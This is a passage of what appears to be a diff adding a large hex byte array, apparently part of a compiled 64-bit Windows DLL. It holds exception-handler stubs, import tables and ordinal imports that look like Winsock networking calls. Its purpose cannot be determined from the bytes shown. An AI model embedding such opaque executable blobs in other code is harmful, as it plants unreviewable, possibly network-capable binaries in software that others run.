0x83, 0xec, 0x20, 0x48, 0x8b, + 0xea, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, + 0x64, 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0xea, 0xb9, 0x08, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, + 0xe9, 0x4b, 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, + 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc4, + 0x20, 0x5d, 0xe9, 0xcd, 0xbe, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xea, 0x8b, 0x4d, 0x50, 0x48, 0x83, 0xc4, 0x20, + 0x5d, 0xe9, 0xb6, 0xbe, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x4d, 0x30, 0x48, 0x83, 0xc4, 0x20, + 0x5d, 0xe9, 0x4e, 0x6b, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x81, 0x38, 0x05, 0x00, 0x00, + 0xc0, 0x74, 0x0c, 0x81, 0x38, 0x1d, 0x00, 0x00, 0xc0, 0x74, 0x04, 0x33, + 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, + 0x5d, 0xc3, 0xcc, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xea, 0x48, 0x8b, 0x01, 0x33, 0xc9, 0x81, 0x38, 0x05, 0x00, 0x00, 0xc0, + 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x86, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x9a, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xbc, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x22, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xbc, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xac, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0xbc, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3c, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xbc, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5c, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe6, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x26, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x56, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x74, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x9c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2c, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3e, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x22, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5a, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7e, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8c, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc4, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xee, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0a, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1e, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4a, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x62, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x74, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x9c, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb2, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5a, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x0b, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xe0, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0xc6, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0xb6, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x74, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x25, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x88, 0x25, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x16, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x50, 0x16, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x50, 0x16, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x82, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0xe6, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x70, 0x09, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0x84, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x0c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd8, 0x83, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xdb, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe0, 0xdb, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x04, 0x2a, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x2a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa2, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcc, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xfc, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x14, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x24, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x54, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x80, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x2d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x2d, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x2d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x2d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x2d, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x2d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x2d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x2e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x2e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x2e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa4, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb0, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x2e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x2e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x2f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x2f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x2f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x2f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x2f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x30, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x30, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x30, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1b, 0x00, 